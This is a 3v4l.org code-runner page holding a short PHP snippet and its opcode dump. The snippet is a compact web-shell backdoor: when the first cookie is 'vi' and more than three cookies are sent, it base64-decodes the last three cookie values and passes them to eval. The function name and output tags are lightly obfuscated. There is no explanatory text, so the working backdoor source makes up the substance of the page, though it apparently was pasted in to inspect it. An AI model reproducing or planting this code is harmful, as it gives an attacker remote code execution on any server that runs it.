3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='vi' && $c($a)>3){ $k='ctor'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>'; } var_dump(reset($a)); ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 41
Branch analysis from position: 14
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 41
Branch analysis from position: 13
filename:       /in/ogqob
function name:  (null)
number of ops:  48
compiled vars:  !0 = $c, !1 = $a, !2 = $k
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'count'
    3     1        FETCH_R                      global              ~4      '_COOKIE'
          2        ASSIGN                                                   !1, ~4
    4     3        INIT_FCALL                                               'reset'
          4        SEND_REF                                                 !1
          5        DO_ICALL                                         $6      
          6        IS_EQUAL                                         ~7      $6, 'vi'
          7      > JMPZ_EX                                          ~7      ~7, ->13
          8    >   INIT_DYNAMIC_CALL                                        !0
          9        SEND_VAR_EX                                              !1
         10        DO_FCALL                                      0  $8      
         11        IS_SMALLER                                       ~9      3, $8
         12        BOOL                                             ~7      ~9
         13    > > JMPZ                                                     ~7, ->41
    5    14    >   ASSIGN                                                   !2, 'ctor'
    6    15        CONCAT                                           ~11     '%3C', !2
         16        CONCAT                                           ~12     ~11, '%3E'
         17        ECHO                                                     ~12
    7    18        INIT_FCALL                                               'base64_decode'
         19        INIT_FCALL                                               'preg_replace'
         20        SEND_VAL                                                 <array>
         21        SEND_VAL                                                 <array>
         22        INIT_FCALL                                               'join'
         23        INIT_FCALL                                               'array_slice'
         24        SEND_VAR                                                 !1
         25        INIT_DYNAMIC_CALL                                        !0
         26        SEND_VAR_EX                                              !1
         27        DO_FCALL                                      0  $13     
         28        SUB                                              ~14     $13, 3
         29        SEND_VAL                                                 ~14
         30        DO_ICALL                                         $15     
         31        SEND_VAR                                                 $15
         32        DO_ICALL                                         $16     
         33        SEND_VAR                                                 $16
         34        DO_ICALL                                         $17     
         35        SEND_VAR                                                 $17
         36        DO_ICALL                                         $18     
         37        INCLUDE_OR_EVAL                                          $18, EVAL
    8    38        CONCAT                                           ~20     '%3C%2F', !2
         39        CONCAT                                           ~21     ~20, '%3E'
         40        ECHO                                                     ~21
   10    41    >   INIT_FCALL                                               'var_dump'
         42        INIT_FCALL                                               'reset'
         43        SEND_REF                                                 !1
         44        DO_ICALL                                         $22     
         45        SEND_VAR                                                 $22
         46        DO_ICALL                                                 
   11    47      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
174.67 ms | 1400 KiB | 25 Q